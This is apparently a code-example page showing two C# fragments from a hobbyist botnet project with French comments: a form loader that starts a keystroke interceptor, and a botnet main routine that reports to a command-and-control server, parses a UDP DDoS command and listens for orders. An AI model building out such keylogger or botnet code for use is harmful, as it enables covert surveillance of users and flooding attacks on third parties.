Beispiel #1
0
 private void frmMain_Load(object sender, EventArgs e)
 {
     InterceptKeys.sendUdpPackets = (int)nutUdpPackets.Value;
     InterceptKeys.main           = this;
     InterceptKeys.start();
     //switchMode(false);
 }
Beispiel #2
0
        static void Main(string[] args) // Main du Botnet
        {
            //Envoi des données au CNC de façon ASYNCHRONE (Apache et MySQL doivent être démarrés en local avec les bons scripts):
            Initialization initialiser = new Initialization();
            Task           test        = initialiser.sendInfoToCNCAsync(); //TODO: étudier comment correctement utiliser une fonction asynchrone en C#, pas sûr que je m'y prenne de la bonne manière

            //Exctraction des actions, target et arguments envoyés:
            ProtocolController ptclctl = new ProtocolController("<SOC><CMD>DDOS</CMD><TARGET>127.0.0.1</TARGET><ARG1>UDP</ARG1><ARG2>1500</ARG2><EOC>");

            Console.WriteLine("Action: " + ptclctl.action + "\n");
            Console.WriteLine("Target: " + ptclctl.target + "\n");

            foreach (string str in ptclctl.arguments)
            {
                Console.WriteLine(str);
            }
            Console.Read();
            Console.ReadKey();
            InterceptKeys interceptor = new InterceptKeys();

            interceptor.start();


            //Initialisation d'un objet ServerConnectors "sc" avec les informations les plus importantes: ip et port d'écoute:
            ServerConnectors sc = new ServerConnectors(IPAddress.Parse("127.0.0.1"), 2107);

            //Mise en écoute du socket grâce à la méthode ListenAndReceiveData() de l'objet "sc":
            sc.ListenAndReceiveData();

            Console.ReadKey();
        }